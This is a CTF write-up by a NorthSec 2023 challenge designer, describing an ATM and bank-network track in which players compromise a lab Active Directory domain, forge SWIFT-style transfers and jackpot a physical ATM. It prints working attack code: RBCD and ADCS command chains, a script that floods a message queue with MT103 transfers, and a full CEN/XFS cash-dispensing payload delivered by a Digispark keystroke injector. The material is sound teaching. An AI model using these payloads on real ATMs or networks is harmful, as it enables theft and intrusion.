mnadeau
mnadeau
NorthSec challenge designer and intrusion tester.

NorthSec 2023 - ATM Network Track Writeup

Context

After last NorthSec, I wanted to make something that would be a tribute to some of the most memorable tracks of my past NorthSecs as a participant.

Two things came to my mind, Martin Dubé’s 2019 Windows Track and François Chagnon’s 2017 voting booths. When I found an ATM for sale at a reasonable price, the track was born.

The theme for 2023 was a universe in which all players work for a megacorporation that controls all of society. In this universe, salaries are irrelevant and people are rewarded in perks. During the weekend, the Global Operation Directory, the system that oversees all activities is off for maintenance. In this track, players have to take advantage of this opportunity to exploit the system and collect their salary themselves.

TLDR

The players are given the atm01.bank.ctf hostname. This machine has a VNC port exposed that gives access to an ATM image.

On this ATM, they can create a jackpotting payload using XFS that they can go and try on a physical ATM.

From the ATM, they can also find credentials in a batch job for the domain. This account has GenericAll permission on the ATM.

In the domain, there is a pre-windows 2000 pre-created computer account. They can use those accounts to do do a Role-Based Constrained Delegation attack on the ATM01 machine and get local administration privileges.

Using this, they can recover another domain account from the LSA secrets. This account has administration privileges on the itops01.bank.ctf machine. This machine has LSASS running in a PPL and the Goutam.Shanthi user is periodically connecting to the asset via RDP.

Extracting the lsass.exe process memory gives them cleartext credentials for the account. Goutam.Shanthi has ManageCertificates permissions on adcs01.bank.ctf and Domain Users can generate certificates with an arbitrary SAN. Using those two issues, they can exploit both ESC2 and ESC7 to create a certificate for an account with domain administration privileges.

From dc01.bank.ctf, the players can publish a GPO that will execute code on the jump01.bank.ctf machine and recover the SWIFT message queue authentication certificated.

Once connected to the message queue, the players have to send multiple MT103 messages to transfer money to their own accounts.

Full Track Attack Diagram

Full Writeup of the Main Track

The track started with a post pointing the users to both atm01.bank.ctf and www.bank.ctf.

Discourse Initial Post

Scanning the www.bank.ctf host allows you to find a web application.

nmap Scan of www.bank.ctf

Investigation of this web application reveals one of the bonus flags in the source code of the page. This is done to bring focus to the transaction format that will need to be used later in the track.

Recovery of the First Bonus Flag

Scanning the atm01.bank.ctf host allows you to find open ports for RPC, SMB, and VNC.

nmap Scan of atm01.bank.ctf

Upon connection to the VNC service allows the players that the service requires no authentication and allows them to interact directly with the machine as the AtmAutoLogon user and reveals the first flag of the main track.

VNC Connection to atm01.bank.ctf

Discourse Post for the Initial Flag

After connecting to the VNC client, the Kiosk mode had to be bypassed. This could be done by using the Ctrl-Shift-Del key combination and using the task manager to start a new process.

The Ctrl-O key combination also worked to open a file browser and start the cmd.exe program.

*Since VNC clients handle keyboard channels differently, this bypassed some of the keyboard restrictions in place on the physical ATM. A hint was therefore posted during the event to inform players of which restrictions where in place to avoid too much time waste.

Hint for Keyboard Restrictions

Having now gained access to the machine, the players could start investigating privilege escalation opportunities.

On the machine, a disabled scheduled task points to the C:\packages\scripts\RunUpdate.bat containing domain user credentials. The second flag was also stored using rot47 in the same file (to avoid people searching for the keywork FLAG- on the machine).

Crendentials in the update file

Decoded Flag from the Update File

This same file could be found by searching for commands that commonly reveal credentials such as net use. A hint was also given in the C:\packages\README.txt file.

Hint for Update File Credentials

Having recovered the account’s password, the players could then try to connect to the domain. At which point they would have observed that the password was expired. This will be somewhat of a theme in this writeup, not because I wanted people to suffer but because I created the infra 44 days before the event and Window’s default password expiration policy is of 42 days. Oops.

The password change could however be done by either disconnecting the AtmAutoLogon user from VNC and reconnecting with the ATMService account, at which point you would be prompted to change the password, or via Impacket’s smbpasswd.py script.

Password change for the ATMService Account

Using the domain credentials, players could start investigating the domain using tools such as BloodHound and ADExplorer.

After submitting the previous flag, a hint pointing torward the investigation of legacy items was provided in the Discourse post.

Discourse Post for the Second Flag

With this information, the players could have a look at the domain and observe an OU called OU=pre-created,OU=pre-win2000. This was done to point at a somewhate lesser known attack based on pre-created computer account passwords (Pre-created computer accounts have the computer name in lowercase as their default password).

Precreated Machine Account Discovery

The password however had to be changed to use the account. Password Issue for the Precreated Machine Account Password Change for the Precreated Machine Account

The domain investigation also revealed that the ATMService account had GenericAll permissions on the atm01.bank.ctf asset.

BloodHound Path for atm01.bank.ctf

With an account with delegation privileges (webdev-old$) and an account with the required privileges to write attributes to the atm01.bank.ctf machine (ATMService), the players could now execute an RBCD attack.

First, the msds-allowedtoactonbehalfofotheridentity attribute had to be set on the atm01.bank.ctf machine. This could be done in PowerShell using the following commands:

1
2
3
4
5
6
7
8
# SID webdev-old
#S-1-5-21-3522941280-196239457-2758380250-1152

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3522941280-196239457-2758380250-1152)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

Get-DomainComputer atm01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

Setting the msds-allowedtoactonbehalfofotheridentity  attribute via PowerShell

Once the attribute was set, a TGT could be requested for an account with administrator privileged on the atm01.bank.ctf machine and used to dump the LSA secrets remotely. This gave them both the third flag and access to a new domain account.

Recovery of the TGT using getST.py and Recovery of the Flag

*I had installed LAPS on the machines to avoid administrator password reuse. While doing this, I inadvertently allowed people to pull the LAPS passwords because of the GenericRead permission given to the ATMService account. This was used by most teams to solve this part of the track.

Submitting this flag posted a simple message telling players to continue their domain escalation.

Discourse Post for the Third Flag

Spraying the credentials for this account using a tool like crackmapexec would allow the players to observe that they had administrator privileges on the itops01.bank.ctf machine.

Once connected to the machine, the players may have attempted to extract the lsass.exe process memory. However, the process was protected using RunAsPPL.

LSASS Process PPL Protection

This could be bypassed by removing the PPL protection with the Mimikatz driver. The LSASS dump would then reveal the next flag and the password for the Goutam.Shanthi user.

Removal of the PPL using Mimikatz's Driver

Submitting this flag gave a subtle hint toward dev-related elements.

Discourse Post for the Fourth Flag

Investigation of the ADCS would reveal a DevEnroll certificate on which the newly compromised user had enrollment permissions. This same certificate allowed users to provide arbitrary SANs.

ADCS Certificate Template Permissions

Most of the pre-requisites for ESC2 are therefore met. However, looking at the documentation for the attack, we notice that, since manager approval is enabled, this attack cannot be executed.

ESC2 Issue Documentation

However, even if Certify is unable to flag the issue because of this, we can see that the user Goutam.Shanthi has ManageCertificates permissions.

Goutam's "ManageCertificates" Permissions

This means that this user can self-approve certificate requests as documented in BLACKARROW’s blog. Using their Certify fork, we could send a request to obtain the first part of the certificate and approve the request to obtain the final part.

Request for the Certificate

Self-Approval of the Certificate

Once done, the attack could be conducted just like a regular ADCS attack.

Conversion of the Certificate

1
2
3
4
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /ptt
ticketConverter.py ticket.kirbi administrator.ccache
export KRB5CCNAME=administrator.ccache
python3 secretsdump.py -k dc01.bank.ctf

The recovered account could then be used to connect to the domain controller. Once connected, the flag could be found in the C:\flag.txt file.

Recovery of the Fifth Flag on the Domain Controller

Submitting this flag gave information on our next step. Players were pointed toward the jump01.bank.ctf machine and told to look into a specific folder.

Discourse Post for the Fifth Flag and Associated Hint

*Since the web interface for ADCS was enabled, Coercer could also be used to relay an authentication request to from the DC to ADCS and create a certificate that way.

*This track was created using an Ansible script and all servers were provisionned using a default accounts named “Northsec”. The script was supposed to delete this account, but apparently, I went fast and am bad at Ansible. A team found the password for the “Northsec” account on itops01.bank.ctf and sprayed it across all assets. Since this account was also on the dc01.bank.ctf machine, they were able to bypass the ADCS part of the track.

Scanning jump01.bank.ctf revealed that no ports were opened. This was because of the local firewall configured to block all incoming connections.

A GPO could however be added to that machine to either disable the firewall or execute a reverse shell from a PowerShell script.

Adding the GPO to disable the firewall

Once the connection was established, access to the next flag, as well as various TLS certificates were obtained.

Recovery of the JUMP01 Flag

Submitting this flag revealed the existence of the rabbitmq.bank.ctf machine and told the players the names of two message queues.

Discourse Post for the Sixth Flag in the SWIFT Server Answer

The provided information on payment processing, queue names, and information in the certificates (Issuer: commonName=swift.ctf) pointed players toward the SWIFT network.

Connecting to the message queue and emmiting messages that vaguely ressembled SWIFT (Ex. {1:F01EBNKGB20AXXX8888999999}) presented the players with the next flag.

Recovery of the Seventh Flag

Discourse Post for the Seventh Flag

With this information and the data listed on the www.bank.ctf website, players could emmit valid transactions to transfer money from other accounts into the account associated with myself in Discourse.

Transaction Information that Could be Used to Craft the Final Payload

Any validation error (Ex. transaction was not in the FLG currency or transaction was above 20 000 FLG)would return a verbose error message.

Error Message for Invalid SWIFT Messages

This allowed them to create a script that would make multiple transfers into their bank account.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import pika
import ssl
import uuid

from pika.credentials import ExternalCredentials

IN_QUEUE_NAME = 'swift_srv_in'
OUT_QUEUE_NAME = 'swift_srv_out'

SSH_HOSTNAME = 'swiftmq.ctf'

def parse_msg_callback(ch, method, properties, body):
  print("Received " + str(body), method, properties)

context = ssl.create_default_context(cafile="ca-cert.pem")
context.load_cert_chain("client-cert.pem", "client-key.pem")
context.verify_mode = ssl.CERT_REQUIRED
ssl_options = pika.SSLOptions(context, SSH_HOSTNAME)

conn_params = pika.ConnectionParameters(host=SSH_HOSTNAME, credentials=ExternalCredentials(), port=5671, ssl_options=ssl_options)
connection = pika.BlockingConnection(conn_params)
in_channel = connection.channel()
out_channel = connection.channel()

in_channel.queue_declare(queue=IN_QUEUE_NAME)
out_channel.queue_declare(queue=OUT_QUEUE_NAME)

def queue_callback(ch, method, properties, body):
    print(body)

for index in range(0,1000000):
    out_channel.basic_publish(exchange='',
                            routing_key=OUT_QUEUE_NAME,
                            body='''{1:F01EBNKGB20AXXX8888999999}{2:I103BANKNSECA728N}{3:{119:STP}{121:''' + str(uuid.uuid4()) + '''}}{4:
    :20:TRANSACTIONRF103
    :23B:CRED
    :32A:100000FLG100000.00
    :33B:FLG-50000,00
    :50K:/LU837820323276379953
    331331GODO
    01-93
    BETA-RED 
    :59:/09997551
    120875ABAB
    86-3486639
    LAMBDA-INDIGO 
    :71A:SHA
    -}
    {5:{CHK:123456789ABC}}''')

in_channel.basic_consume(queue=IN_QUEUE_NAME, on_message_callback=queue_callback, auto_ack=True)
in_channel.start_consuming()

Obtaining more than 1 000 000 FLG in your account revealed the last flag.

Recovery of the Last Flag

Our protagonist could therefore take his retirement and travel to the covetted BETA-RED district.

Discourse Post for the Last Flag

Full Writeup of the ATM Bonus

The “bonus” ATM track starts with a couple of hints. The track was already hard as it was, I did not want people that never interacted with ATMs to have to watch multiple talks on the subject before jumping into the action.

The hints gave the physical location of the ATM (next to the bar in the main room) and told players that there were DeviceInstall Restrictions on the device.

ATM Hints Discourse Post

Searching for DeviceInstall Restrictions points you to the associated registry keys.

DeviceInstall Restrictions Google Search

Investigation of those keys revealed the first bonus flag and that the only allowed device was a Gemalto brand pinpad with vendor ID 08E6 and device ID 3478.

Recovery of the DeviceInstall Restrictions Flag

DeviceInstall Restrictions Exceptions

The second step of the puzzle was to create a payload that could be used to interact with the cash dispenser and trigger an arbitrary dispensing of currency. People who where not aware of the cen/xfs protocol could reverse the C:\packages\xfs\tdm100.dll or C:\packages\xfs\msxfs.dll dlls to observe the exported functions hinting them toward the correct spec document as one team did. However, to give as many chances of this track being solved, a hint was also posted pointing toward the specification document.

XFS Payload Hint

The hint talked about XFS and contained a link to CWA13449, the part of the specification document related to cash dispensers.

Associated StackOverflow Post for the XFS Payload Hint

One of the easiest ways to trigger dispensing was to use a tool made by a fellow challenge designer and resident programming legend Alexandre Beaulieu.

To facilitate the creation of the payload, the C:\packages\xfs\msxfs.dll file could be copied in the C:\Windows\System32\ folder of a virtual machine to test payloads locally. The xfsc binary could then be compiled and used to interact with the dll. When a valid dispensing flow was found, a prompt was shown telling the players that their payload was ready.

xfsc Jackpot

The next challenge was running this on the physical ATM.

To avoid making this challenge accessible only to the owners of USB Rubber Ducky or Flipper Zero, a Digispark USB Development Board was provided to all teams. This board does limit the size of useable payloads to 6012 bytes (in reality, getting too close to this limit, having too long lines or using too many commands made the boards behave in unpredictable ways). Digispark Maximum Payload Size

The payload therefore had to:

  1. Emulate the correct VID / PID
  2. Execute the kiosk escape keystroke sequence
  3. Run the XFS dispensing payload
  4. Stay under the 6012 bytes size limit
  5. Run in under 2 minutes (after which time the kiosk would reset to allow the next team to try a new payload)

To emulate the correct VID / PID, players had to modify the default Digispark Library Device Configurations to change the provided device IDs.

Digispark Device Configurations Modification

Once done, a payload executing the essential functions of the XFS payload could be created. To stay under the size limit, I chose to use PowerShell and call the dll exported functions directly.

The following shrunk down payload was used (I kept the longer function and variable names in this writeup for readability).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;

[StructLayout(LayoutKind.Sequential, Pack = 1)]
struct WFSCDMDENOMINATION
{
    [MarshalAs(UnmanagedType.ByValArray, SizeConst = 3)]
    public char[] cCurrencyID;
    public int ulAmount;
    public ushort usCount;
    IntPtr lpulValues;
    int ulCashBox;
}

[StructLayout(LayoutKind.Sequential, Pack = 1)]
struct WFSCDMDISPENSE
{
    public ushort usTellerID;
    public ushort usMixNumber;
    public ushort fwPosition;
    public bool bPresent;
    public IntPtr lpDenomination;
}

public static class XSFClass
{
    [DllImport("msxfs.dll", EntryPoint = "WFSExecute")]
    static extern int WFSExecute(ushort hService, int dwCommand, IntPtr lpCmdData, int dwTimeOut, ref IntPtr lppResult);

    [DllImport("msxfs.dll", EntryPoint = "WFSOpen")]
    static extern int WFSOpen(string lpszLogicalName, IntPtr hApp, string lpszAppID, int dwTraceLevel, int dwTimeOut, int dwSrvcVersionsRequired, ref IntPtr lpSrvcVersion, ref IntPtr lpSPIVersion, ref ushort lphService);

    public static void pwn() {
        WFSCDMDENOMINATION denomination = new WFSCDMDENOMINATION();
        denomination.cCurrencyID = "FLG".ToCharArray();
        denomination.ulAmount = 8;
        denomination.usCount = 8;
        IntPtr denominationPtr = Marshal.AllocHGlobal(Marshal.SizeOf(denomination));
        Marshal.StructureToPtr(denomination, denominationPtr, false);

        WFSCDMDISPENSE dispense = new WFSCDMDISPENSE();
        dispense.usTellerID = 0;
        dispense.usMixNumber = 1;
        dispense.fwPosition = 0;
        dispense.bPresent = true;
        dispense.lpDenomination = denominationPtr;

        IntPtr dispensePtr = Marshal.AllocHGlobal(Marshal.SizeOf(dispense));
        Marshal.StructureToPtr(dispense, dispensePtr, false);

        IntPtr lpSrvcVersion = IntPtr.Zero;
        IntPtr lpSPIVersion = IntPtr.Zero;
        ushort lpService = 1;

        WFSOpen("TDMCashDispenser", IntPtr.Zero, "", 0, 0, 3, ref lpSrvcVersion, ref lpSPIVersion, ref lpService);

        IntPtr lpResult = IntPtr.Zero;
        WFSExecute(lpService, 302, dispensePtr, 0, ref lpResult);
    }
}
"@
[XSFClass]::pwn()

The payload was then written on the key using the following Arduino script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include "DigiKeyboard.h"

#define  KEY_ESC         0x29

void setup() {
  delay(1000);
  
  // Init
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(1000);

  // Kiosk Escape
  DigiKeyboard.sendKeyStroke(KEY_ESC, MOD_CONTROL_LEFT | MOD_SHIFT_LEFT);
  DigiKeyboard.delay(500);

  DigiKeyboard.sendKeyStroke(KEY_F, MOD_ALT_LEFT);
  DigiKeyboard.delay(500);

  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(500);

  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);

  // Start Powershell
  DigiKeyboard.print("powershell");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(2500);

  // Jackpot
  DigiKeyboard.println(F("Add-Type -TypeDefinition @\"\nusing System;using System.Runtime.InteropServices;\n[StructLayout(LayoutKind.Sequential, Pack = 1)]struct D {[MarshalAs(UnmanagedType.ByValArray, SizeConst = 3)]public char[] i;public int a;public ushort c;IntPtr v;int b;}"));
  DigiKeyboard.delay(250);
  DigiKeyboard.println(F("[StructLayout(LayoutKind.Sequential, Pack = 1)]struct C {public ushort i;public ushort m;public ushort p;public bool b;public IntPtr d;}"));
  DigiKeyboard.delay(250);
  DigiKeyboard.println(F("public static class cl {"));
  DigiKeyboard.delay(250);
  DigiKeyboard.println(F("[DllImport(\"msxfs.dll\", EntryPoint = \"WFSExecute\")]static extern int WE(ushort s, int c, IntPtr d, int t, ref IntPtr r);"));
  DigiKeyboard.delay(250);
  DigiKeyboard.println(F("[DllImport(\"msxfs.dll\", EntryPoint = \"WFSOpen\")]static extern int WO(string n, IntPtr a, string i, int t, int to, int v, ref IntPtr sv, ref IntPtr spv, ref ushort s);"));
  DigiKeyboard.delay(250);
  DigiKeyboard.println(F("public static void j() {\nD de = new D();de.i = \"FLG\".ToCharArray();de.a = de.c = 8;"));
  DigiKeyboard.delay(250);
  DigiKeyboard.println(F("IntPtr dePtr = Marshal.AllocHGlobal(Marshal.SizeOf(de));Marshal.StructureToPtr(de, dePtr, false);"));
  DigiKeyboard.delay(250);
  DigiKeyboard.println(F("C di = new C();di.i = di.p = 0;di.m = 1;di.b = true;di.d = dePtr;"));
  DigiKeyboard.delay(250);
  DigiKeyboard.println(F("IntPtr diPtr = Marshal.AllocHGlobal(Marshal.SizeOf(di));Marshal.StructureToPtr(di, diPtr, false);"));
  DigiKeyboard.delay(250);
  DigiKeyboard.println(F("IntPtr sv = IntPtr.Zero, spv = IntPtr.Zero, res = IntPtr.Zero;ushort svc = 1;"));
  DigiKeyboard.delay(250);
  DigiKeyboard.println(F("WO(\"TDMCashDispenser\", IntPtr.Zero, \"\", 0, 0, 3, ref sv, ref spv, ref svc);"));
  DigiKeyboard.delay(250);
  DigiKeyboard.println(F("WE(svc, 302, diPtr, 0, ref res);"));
  DigiKeyboard.delay(250);
  DigiKeyboard.println(F("}}"));
  DigiKeyboard.delay(250);
  DigiKeyboard.println(F("\"@"));
  DigiKeyboard.delay(250);
  DigiKeyboard.print(F("[cl]::j()"));
  DigiKeyboard.delay(250);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
}

void loop() {
}

Upon connecting the key, the device would wait 5 seconds, execute the Ctrl-Shift-Esc keyboard sequence, hit Alt-f to open the File menu, hit the Enter key to choose the Run new task option, type powershell.exe and hit Enter to start a PowerShell interpretter, type the final payload and hit Enter one last time to execute it.

When fully executed, the players were presented with 8 bills on which a flag was written using UV ink that could be read using a UV lamp next to the ATM.

Final Flag for the ATM Bonus Track